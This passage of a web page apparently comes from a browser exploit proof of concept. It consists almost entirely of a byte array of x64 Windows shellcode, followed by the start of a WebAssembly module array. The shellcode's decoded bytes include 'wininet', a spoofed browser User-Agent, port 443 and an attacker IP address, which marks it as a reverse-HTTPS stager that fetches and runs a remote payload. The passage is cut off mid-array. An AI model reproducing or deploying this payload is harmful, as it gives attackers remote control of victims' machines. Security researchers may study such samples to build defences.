class="code-snippet__number">0x49</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0xd0</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x04</span>,<span class="code-snippet__number">0x88</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0xd0</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x58</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x58</span>,<span class="code-snippet__number">0x5e</span>,<span class="code-snippet__number">0x59</span>,<span class="code-snippet__number">0x5a</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x58</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x59</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x5a</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x83</span>,<span class="code-snippet__number">0xec</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xe0</span>,<span class="code-snippet__number">0x58</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x59</span>,<span class="code-snippet__number">0x5a</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x12</span>,<span class="code-snippet__number">0xe9</span>,<span class="code-snippet__number">0x4f</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0x5d</span>,<span class="code-snippet__number">0x6a</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x49</span>,<span class="code-snippet__number">0xbe</span>,<span class="code-snippet__number">0x77</span>,<span class="code-snippet__number">0x69</span>,<span class="code-snippet__number">0x6e</span>,<span class="code-snippet__number">0x69</span>,<span class="code-snippet__number">0x6e</span>,<span class="code-snippet__number">0x65</span>,<span class="code-snippet__number">0x74</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x56</span>,<span class="code-snippet__number">0x49</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xe6</span>,<span class="code-snippet__number">0x4c</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xf1</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xba</span>,<span class="code-snippet__number">0x4c</span>,<span class="code-snippet__number">0x77</span>,<span class="code-snippet__number">0x26</span>,<span class="code-snippet__number">0x07</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xd5</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xc9</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xd2</span>,<span class="code-snippet__number">0x4d</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xc0</span>,<span class="code-snippet__number">0x4d</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xc9</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x50</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x50</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xba</span>,<span class="code-snippet__number">0x3a</span>,<span class="code-snippet__number">0x56</span>,<span class="code-snippet__number">0x79</span>,<span class="code-snippet__number">0xa7</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xd5</span>,<span class="code-snippet__number">0xe9</span>,<span class="code-snippet__number">0x93</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x5a</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xc1</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xb8</span>,<span class="code-snippet__number">0xbb</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x4d</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xc9</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x51</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x51</span>,<span class="code-snippet__number">0x6a</span>,<span class="code-snippet__number">0x03</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x51</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xba</span>,<span class="code-snippet__number">0x57</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0x9f</span>,<span class="code-snippet__number">0xc6</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xd5</span>,<span class="code-snippet__number">0xeb</span>,<span class="code-snippet__number">0x79</span>,<span class="code-snippet__number">0x5b</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xc1</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xd2</span>,<span class="code-snippet__number">0x49</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xd8</span>,<span class="code-snippet__number">0x4d</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xc9</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0x68</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x32</span>,<span class="code-snippet__number">0xc0</span>,<span class="code-snippet__number">0x84</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xba</span>,<span class="code-snippet__number">0xeb</span>,<span class="code-snippet__number">0x55</span>,<span class="code-snippet__number">0x2e</span>,<span class="code-snippet__number">0x3b</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xd5</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xc6</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x83</span>,<span class="code-snippet__number">0xc3</span>,<span class="code-snippet__number">0x50</span>,<span class="code-snippet__number">0x6a</span>,<span class="code-snippet__number">0x0a</span>,<span class="code-snippet__number">0x5f</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xf1</span>,<span class="code-snippet__number">0xba</span>,<span class="code-snippet__number">0x1f</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x6a</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x68</span>,<span class="code-snippet__number">0x80</span>,<span class="code-snippet__number">0x33</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x49</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xe0</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xb9</span>,<span class="code-snippet__number">0x04</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xba</span>,<span class="code-snippet__number">0x75</span>,<span class="code-snippet__number">0x46</span>,<span class="code-snippet__number">0x9e</span>,<span class="code-snippet__number">0x86</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xd5</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xf1</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xda</span>,<span class="code-snippet__number">0x49</span>,<span class="code-snippet__number">0xc7</span>,<span class="code-snippet__number">0xc0</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0x4d</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xc9</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xba</span>,<span class="code-snippet__number">0x2d</span>,<span class="code-snippet__number">0x06</span>,<span class="code-snippet__number">0x18</span>,<span class="code-snippet__number">0x7b</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xd5</span>,<span class="code-snippet__number">0x85</span>,<span class="code-snippet__number">0xc0</span>,<span class="code-snippet__number">0x0f</span>,<span class="code-snippet__number">0x85</span>,<span class="code-snippet__number">0x9d</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xcf</span>,<span class="code-snippet__number">0x0f</span>,<span class="code-snippet__number">0x84</span>,<span class="code-snippet__number">0x8c</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0xeb</span>,<span class="code-snippet__number">0xb3</span>,<span class="code-snippet__number">0xe9</span>,<span class="code-snippet__number">0xe4</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0xe8</span>,<span class="code-snippet__number">0x82</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0x2f</span>,<span class="code-snippet__number">0x59</span>,<span class="code-snippet__number">0x39</span>,<span class="code-snippet__number">0x58</span>,<span class="code-snippet__number">0x73</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0xe8</span>,<span class="code-snippet__number">0x60</span>,<span class="code-snippet__number">0x87</span>,<span class="code-snippet__number">0xda</span>,<span class="code-snippet__number">0xe4</span>,<span class="code-snippet__number">0x59</span>,<span class="code-snippet__number">0x51</span>,<span class="code-snippet__number">0xb1</span>,<span class="code-snippet__number">0xb9</span>,<span class="code-snippet__number">0x07</span>,<span class="code-snippet__number">0xcd</span>,<span class="code-snippet__number">0xd3</span>,<span class="code-snippet__number">0x5e</span>,<span class="code-snippet__number">0xfb</span>,<span class="code-snippet__number">0x13</span>,<span class="code-snippet__number">0x18</span>,<span class="code-snippet__number">0xa3</span>,<span class="code-snippet__number">0xad</span>,<span class="code-snippet__number">0xbc</span>,<span class="code-snippet__number">0x2b</span>,<span class="code-snippet__number">0x61</span>,<span class="code-snippet__number">0x82</span>,<span class="code-snippet__number">0x14</span>,<span class="code-snippet__number">0x6e</span>,<span class="code-snippet__number">0xb4</span>,<span class="code-snippet__number">0x93</span>,<span class="code-snippet__number">0x68</span>,<span class="code-snippet__number">0xe2</span>,<span class="code-snippet__number">0x34</span>,<span class="code-snippet__number">0x97</span>,<span class="code-snippet__number">0x5b</span>,<span class="code-snippet__number">0x6e</span>,<span class="code-snippet__number">0xec</span>,<span class="code-snippet__number">0x4b</span>,<span class="code-snippet__number">0x55</span>,<span class="code-snippet__number">0xf0</span>,<span class="code-snippet__number">0x1c</span>,<span class="code-snippet__number">0x81</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0xa6</span>,<span class="code-snippet__number">0xce</span>,<span class="code-snippet__number">0xac</span>,<span class="code-snippet__number">0x72</span>,<span class="code-snippet__number">0x9e</span>,<span class="code-snippet__number">0xbb</span>,<span class="code-snippet__number">0xf1</span>,<span class="code-snippet__number">0x63</span>,<span class="code-snippet__number">0x71</span>,<span class="code-snippet__number">0x55</span>,<span class="code-snippet__number">0x76</span>,<span class="code-snippet__number">0xd2</span>,<span class="code-snippet__number">0xce</span>,<span class="code-snippet__number">0x43</span>,<span class="code-snippet__number">0x0a</span>,<span class="code-snippet__number">0xb0</span>,<span class="code-snippet__number">0xdf</span>,<span class="code-snippet__number">0x27</span>,<span class="code-snippet__number">0x65</span>,<span class="code-snippet__number">0xb7</span>,<span class="code-snippet__number">0x9c</span>,<span class="code-snippet__number">0xae</span>,<span class="code-snippet__number">0x50</span>,<span class="code-snippet__number">0x47</span>,<span class="code-snippet__number">0x4d</span>,<span class="code-snippet__number">0x86</span>,<span class="code-snippet__number">0x71</span>,<span class="code-snippet__number">0x58</span>,<span class="code-snippet__number">0x1e</span>,<span class="code-snippet__number">0xde</span>,<span class="code-snippet__number">0xc2</span>,<span class="code-snippet__number">0xf3</span>,<span class="code-snippet__number">0xb1</span>,<span class="code-snippet__number">0xc9</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x55</span>,<span class="code-snippet__number">0x73</span>,<span class="code-snippet__number">0x65</span>,<span class="code-snippet__number">0x72</span>,<span class="code-snippet__number">0x2d</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x67</span>,<span class="code-snippet__number">0x65</span>,<span class="code-snippet__number">0x6e</span>,<span class="code-snippet__number">0x74</span>,<span class="code-snippet__number">0x3a</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x4d</span>,<span class="code-snippet__number">0x6f</span>,<span class="code-snippet__number">0x7a</span>,<span class="code-snippet__number">0x69</span>,<span class="code-snippet__number">0x6c</span>,<span class="code-snippet__number">0x6c</span>,<span class="code-snippet__number">0x61</span>,<span class="code-snippet__number">0x2f</span>,<span class="code-snippet__number">0x34</span>,<span class="code-snippet__number">0x2e</span>,<span class="code-snippet__number">0x30</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x28</span>,<span class="code-snippet__number">0x63</span>,<span class="code-snippet__number">0x6f</span>,<span class="code-snippet__number">0x6d</span>,<span class="code-snippet__number">0x70</span>,<span class="code-snippet__number">0x61</span>,<span class="code-snippet__number">0x74</span>,<span class="code-snippet__number">0x69</span>,<span class="code-snippet__number">0x62</span>,<span class="code-snippet__number">0x6c</span>,<span class="code-snippet__number">0x65</span>,<span class="code-snippet__number">0x3b</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x4d</span>,<span class="code-snippet__number">0x53</span>,<span class="code-snippet__number">0x49</span>,<span class="code-snippet__number">0x45</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x38</span>,<span class="code-snippet__number">0x2e</span>,<span class="code-snippet__number">0x30</span>,<span class="code-snippet__number">0x3b</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x57</span>,<span class="code-snippet__number">0x69</span>,<span class="code-snippet__number">0x6e</span>,<span class="code-snippet__number">0x64</span>,<span class="code-snippet__number">0x6f</span>,<span class="code-snippet__number">0x77</span>,<span class="code-snippet__number">0x73</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x4e</span>,<span class="code-snippet__number">0x54</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x35</span>,<span class="code-snippet__number">0x2e</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0x3b</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x54</span>,<span class="code-snippet__number">0x72</span>,<span class="code-snippet__number">0x69</span>,<span class="code-snippet__number">0x64</span>,<span class="code-snippet__number">0x65</span>,<span class="code-snippet__number">0x6e</span>,<span class="code-snippet__number">0x74</span>,<span class="code-snippet__number">0x2f</span>,<span class="code-snippet__number">0x34</span>,<span class="code-snippet__number">0x2e</span>,<span class="code-snippet__number">0x30</span>,<span class="code-snippet__number">0x29</span>,<span class="code-snippet__number">0x0d</span>,<span class="code-snippet__number">0x0a</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0xe2</span>,<span class="code-snippet__number">0x7f</span>,<span class="code-snippet__number">0x5a</span>,<span class="code-snippet__number">0x79</span>,<span class="code-snippet__number">0x1b</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x46</span>,<span class="code-snippet__number">0xe3</span>,<span class="code-snippet__number">0x59</span>,<span class="code-snippet__number">0x45</span>,<span class="code-snippet__number">0x29</span>,<span class="code-snippet__number">0xf4</span>,<span class="code-snippet__number">0xbc</span>,<span class="code-snippet__number">0x8e</span>,<span class="code-snippet__number">0x74</span>,<span class="code-snippet__number">0x6b</span>,<span class="code-snippet__number">0x2e</span>,<span class="code-snippet__number">0x3e</span>,<span class="code-snippet__number">0x9b</span>,<span class="code-snippet__number">0x0d</span>,<span class="code-snippet__number">0xaf</span>,<span class="code-snippet__number">0xa7</span>,<span class="code-snippet__number">0x78</span>,<span class="code-snippet__number">0xf6</span>,<span class="code-snippet__number">0x8a</span>,<span class="code-snippet__number">0xab</span>,<span class="code-snippet__number">0x18</span>,<span class="code-snippet__number">0xba</span>,<span class="code-snippet__number">0x57</span>,<span class="code-snippet__number">0xb0</span>,<span class="code-snippet__number">0x64</span>,<span class="code-snippet__number">0xc1</span>,<span class="code-snippet__number">0x26</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x60</span>,<span class="code-snippet__number">0xe6</span>,<span class="code-snippet__number">0xa4</span>,<span class="code-snippet__number">0xdd</span>,<span class="code-snippet__number">0x06</span>,<span class="code-snippet__number">0x72</span>,<span class="code-snippet__number">0xa5</span>,<span class="code-snippet__number">0x1a</span>,<span class="code-snippet__number">0xa5</span>,<span class="code-snippet__number">0xd7</span>,<span class="code-snippet__number">0x92</span>,<span class="code-snippet__number">0x7e</span>,<span class="code-snippet__number">0x92</span>,<span class="code-snippet__number">0xd8</span>,<span class="code-snippet__number">0x9d</span>,<span class="code-snippet__number">0x15</span>,<span class="code-snippet__number">0x68</span>,<span class="code-snippet__number">0xb6</span>,<span class="code-snippet__number">0x83</span>,<span class="code-snippet__number">0x61</span>,<span class="code-snippet__number">0x4e</span>,<span class="code-snippet__number">0xcc</span>,<span class="code-snippet__number">0xd6</span>,<span class="code-snippet__number">0x69</span>,<span class="code-snippet__number">0xb5</span>,<span class="code-snippet__number">0xe0</span>,<span class="code-snippet__number">0x59</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0x67</span>,<span class="code-snippet__number">0x14</span>,<span class="code-snippet__number">0xf6</span>,<span class="code-snippet__number">0x73</span>,<span class="code-snippet__number">0xdb</span>,<span class="code-snippet__number">0xe9</span>,<span class="code-snippet__number">0x75</span>,<span class="code-snippet__number">0xaf</span>,<span class="code-snippet__number">0x04</span>,<span class="code-snippet__number">0x64</span>,<span class="code-snippet__number">0x2e</span>,<span class="code-snippet__number">0x08</span>,<span class="code-snippet__number">0x32</span>,<span class="code-snippet__number">0xb7</span>,<span class="code-snippet__number">0x6c</span>,<span class="code-snippet__number">0xf4</span>,<span class="code-snippet__number">0xe3</span>,<span class="code-snippet__number">0x8f</span>,<span class="code-snippet__number">0xa3</span>,<span class="code-snippet__number">0x4f</span>,<span class="code-snippet__number">0x17</span>,<span class="code-snippet__number">0x08</span>,<span class="code-snippet__number">0x3a</span>,<span class="code-snippet__number">0x29</span>,<span class="code-snippet__number">0x16</span>,<span class="code-snippet__number">0xe4</span>,<span class="code-snippet__number">0x1d</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0x12</span>,<span class="code-snippet__number">0xed</span>,<span class="code-snippet__number">0xf4</span>,<span class="code-snippet__number">0xf3</span>,<span class="code-snippet__number">0x9a</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0xfa</span>,<span class="code-snippet__number">0xc1</span>,<span class="code-snippet__number">0x6f</span>,<span class="code-snippet__number">0xab</span>,<span class="code-snippet__number">0x3e</span>,<span class="code-snippet__number">0xb9</span>,<span class="code-snippet__number">0x3e</span>,<span class="code-snippet__number">0xe2</span>,<span class="code-snippet__number">0x34</span>,<span class="code-snippet__number">0x73</span>,<span class="code-snippet__number">0x96</span>,<span class="code-snippet__number">0xa7</span>,<span class="code-snippet__number">0xf6</span>,<span class="code-snippet__number">0x8e</span>,<span class="code-snippet__number">0x5f</span>,<span class="code-snippet__number">0x6c</span>,<span class="code-snippet__number">0xa4</span>,<span class="code-snippet__number">0xd2</span>,<span class="code-snippet__number">0x6a</span>,<span class="code-snippet__number">0x70</span>,<span class="code-snippet__number">0x33</span>,<span class="code-snippet__number">0xdd</span>,<span class="code-snippet__number">0xfc</span>,<span class="code-snippet__number">0x69</span>,<span class="code-snippet__number">0x39</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x6f</span>,<span class="code-snippet__number">0x72</span>,<span class="code-snippet__number">0xd2</span>,<span class="code-snippet__number">0x22</span>,<span class="code-snippet__number">0x5f</span>,<span class="code-snippet__number">0x7d</span>,<span class="code-snippet__number">0x78</span>,<span class="code-snippet__number">0x28</span>,<span class="code-snippet__number">0x0d</span>,<span class="code-snippet__number">0x57</span>,<span class="code-snippet__number">0xb3</span>,<span class="code-snippet__number">0x28</span>,<span class="code-snippet__number">0x2b</span>,<span class="code-snippet__number">0xa5</span>,<span class="code-snippet__number">0xa2</span>,<span class="code-snippet__number">0xda</span>,<span class="code-snippet__number">0xc1</span>,<span class="code-snippet__number">0x23</span>,<span class="code-snippet__number">0x2d</span>,<span class="code-snippet__number">0x50</span>,<span class="code-snippet__number">0x8c</span>,<span class="code-snippet__number">0xc3</span>,<span class="code-snippet__number">0x3e</span>,<span class="code-snippet__number">0x81</span>,<span class="code-snippet__number">0x03</span>,<span class="code-snippet__number">0x3d</span>,<span class="code-snippet__number">0x8a</span>,<span class="code-snippet__number">0xef</span>,<span class="code-snippet__number">0x2e</span>,<span class="code-snippet__number">0xa7</span>,<span class="code-snippet__number">0xea</span>,<span class="code-snippet__number">0x33</span>,<span class="code-snippet__number">0x21</span>,<span class="code-snippet__number">0x56</span>,<span class="code-snippet__number">0xb0</span>,<span class="code-snippet__number">0x05</span>,<span class="code-snippet__number">0x35</span>,<span class="code-snippet__number">0xe9</span>,<span class="code-snippet__number">0x7a</span>,<span class="code-snippet__number">0x4d</span>,<span class="code-snippet__number">0x72</span>,<span class="code-snippet__number">0xa3</span>,<span class="code-snippet__number">0xe9</span>,<span class="code-snippet__number">0xf4</span>,<span class="code-snippet__number">0xa7</span>,<span class="code-snippet__number">0x32</span>,<span class="code-snippet__number">0x02</span>,<span class="code-snippet__number">0xd5</span>,<span class="code-snippet__number">0xa0</span>,<span class="code-snippet__number">0x6c</span>,<span class="code-snippet__number">0xad</span>,<span class="code-snippet__number">0x5d</span>,<span class="code-snippet__number">0xf7</span>,<span class="code-snippet__number">0x43</span>,<span class="code-snippet__number">0x71</span>,<span class="code-snippet__number">0x4c</span>,<span class="code-snippet__number">0x05</span>,<span class="code-snippet__number">0x1a</span>,<span class="code-snippet__number">0x6e</span>,<span class="code-snippet__number">0x75</span>,<span class="code-snippet__number">0xf6</span>,<span class="code-snippet__number">0xc3</span>,<span class="code-snippet__number">0x7e</span>,<span class="code-snippet__number">0xdc</span>,<span class="code-snippet__number">0xda</span>,<span class="code-snippet__number">0xed</span>,<span class="code-snippet__number">0x5f</span>,<span class="code-snippet__number">0x4c</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x27</span>,<span class="code-snippet__number">0xcd</span>,<span class="code-snippet__number">0xb2</span>,<span class="code-snippet__number">0xbd</span>,<span class="code-snippet__number">0xdb</span>,<span class="code-snippet__number">0xf5</span>,<span class="code-snippet__number">0xb9</span>,<span class="code-snippet__number">0xa3</span>,<span class="code-snippet__number">0x98</span>,<span class="code-snippet__number">0x2d</span>,<span class="code-snippet__number">0xd9</span>,<span class="code-snippet__number">0x4b</span>,<span class="code-snippet__number">0x5e</span>,<span class="code-snippet__number">0x1e</span>,<span class="code-snippet__number">0x37</span>,<span class="code-snippet__number">0x24</span>,<span class="code-snippet__number">0xf3</span>,<span class="code-snippet__number">0xd1</span>,<span class="code-snippet__number">0x08</span>,<span class="code-snippet__number">0x5e</span>,<span class="code-snippet__number">0xa7</span>,<span class="code-snippet__number">0xe6</span>,<span class="code-snippet__number">0x4d</span>,<span class="code-snippet__number">0xc4</span>,<span class="code-snippet__number">0x10</span>,<span class="code-snippet__number">0xd1</span>,<span class="code-snippet__number">0xa1</span>,<span class="code-snippet__number">0x91</span>,<span class="code-snippet__number">0x30</span>,<span class="code-snippet__number">0x6d</span>,<span class="code-snippet__number">0xc2</span>,<span class="code-snippet__number">0x88</span>,<span class="code-snippet__number">0xb5</span>,<span class="code-snippet__number">0x37</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xbe</span>,<span class="code-snippet__number">0xf0</span>,<span class="code-snippet__number">0xb5</span>,<span class="code-snippet__number">0xa2</span>,<span class="code-snippet__number">0x56</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xd5</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xc9</span>,<span class="code-snippet__number">0xba</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x40</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xb8</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x10</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xb9</span>,<span class="code-snippet__number">0x40</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xba</span>,<span class="code-snippet__number">0x58</span>,<span class="code-snippet__number">0xa4</span>,<span class="code-snippet__number">0x53</span>,<span class="code-snippet__number">0xe5</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xd5</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x93</span>,<span class="code-snippet__number">0x53</span>,<span class="code-snippet__number">0x53</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xe7</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xf1</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xda</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xb8</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x49</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xf9</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xba</span>,<span class="code-snippet__number">0x12</span>,<span class="code-snippet__number">0x96</span>,<span class="code-snippet__number">0x89</span>,<span class="code-snippet__number">0xe2</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xd5</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x83</span>,<span class="code-snippet__number">0xc4</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x85</span>,<span class="code-snippet__number">0xc0</span>,<span class="code-snippet__number">0x74</span>,<span class="code-snippet__number">0xb6</span>,<span class="code-snippet__number">0x66</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x07</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0xc3</span>,<span class="code-snippet__number">0x85</span>,<span class="code-snippet__number">0xc0</span>,<span class="code-snippet__number">0x75</span>,<span class="code-snippet__number">0xd7</span>,<span class="code-snippet__number">0x58</span>,<span class="code-snippet__number">0x58</span>,<span class="code-snippet__number">0x58</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x05</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x50</span>,<span class="code-snippet__number">0xc3</span>,<span class="code-snippet__number">0xe8</span>,<span class="code-snippet__number">0x7f</span>,<span class="code-snippet__number">0xfd</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0x39</span>,<span class="code-snippet__number">0x32</span>,<span class="code-snippet__number">0x2e</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0x36</span>,<span class="code-snippet__number">0x38</span>,<span class="code-snippet__number">0x2e</span>,<span class="code-snippet__number">0x38</span>,<span class="code-snippet__number">0x34</span>,<span class="code-snippet__number">0x2e</span>,<span class="code-snippet__number">0x32</span>,<span class="code-snippet__number">0x34</span>,<span class="code-snippet__number">0x33</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x12</span>,<span class="code-snippet__number">0x34</span>,<span class="code-snippet__number">0x56</span>,<span class="code-snippet__number">0x78</span>];</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">var</span> wasmCode = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Uint8Array</span>([<span class="code-snippet__number">0</span>, <span class="code-snippet__number">97</span>, <span class="code-snippet__number">115</span>, <span class="code-snippet__number">109</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span 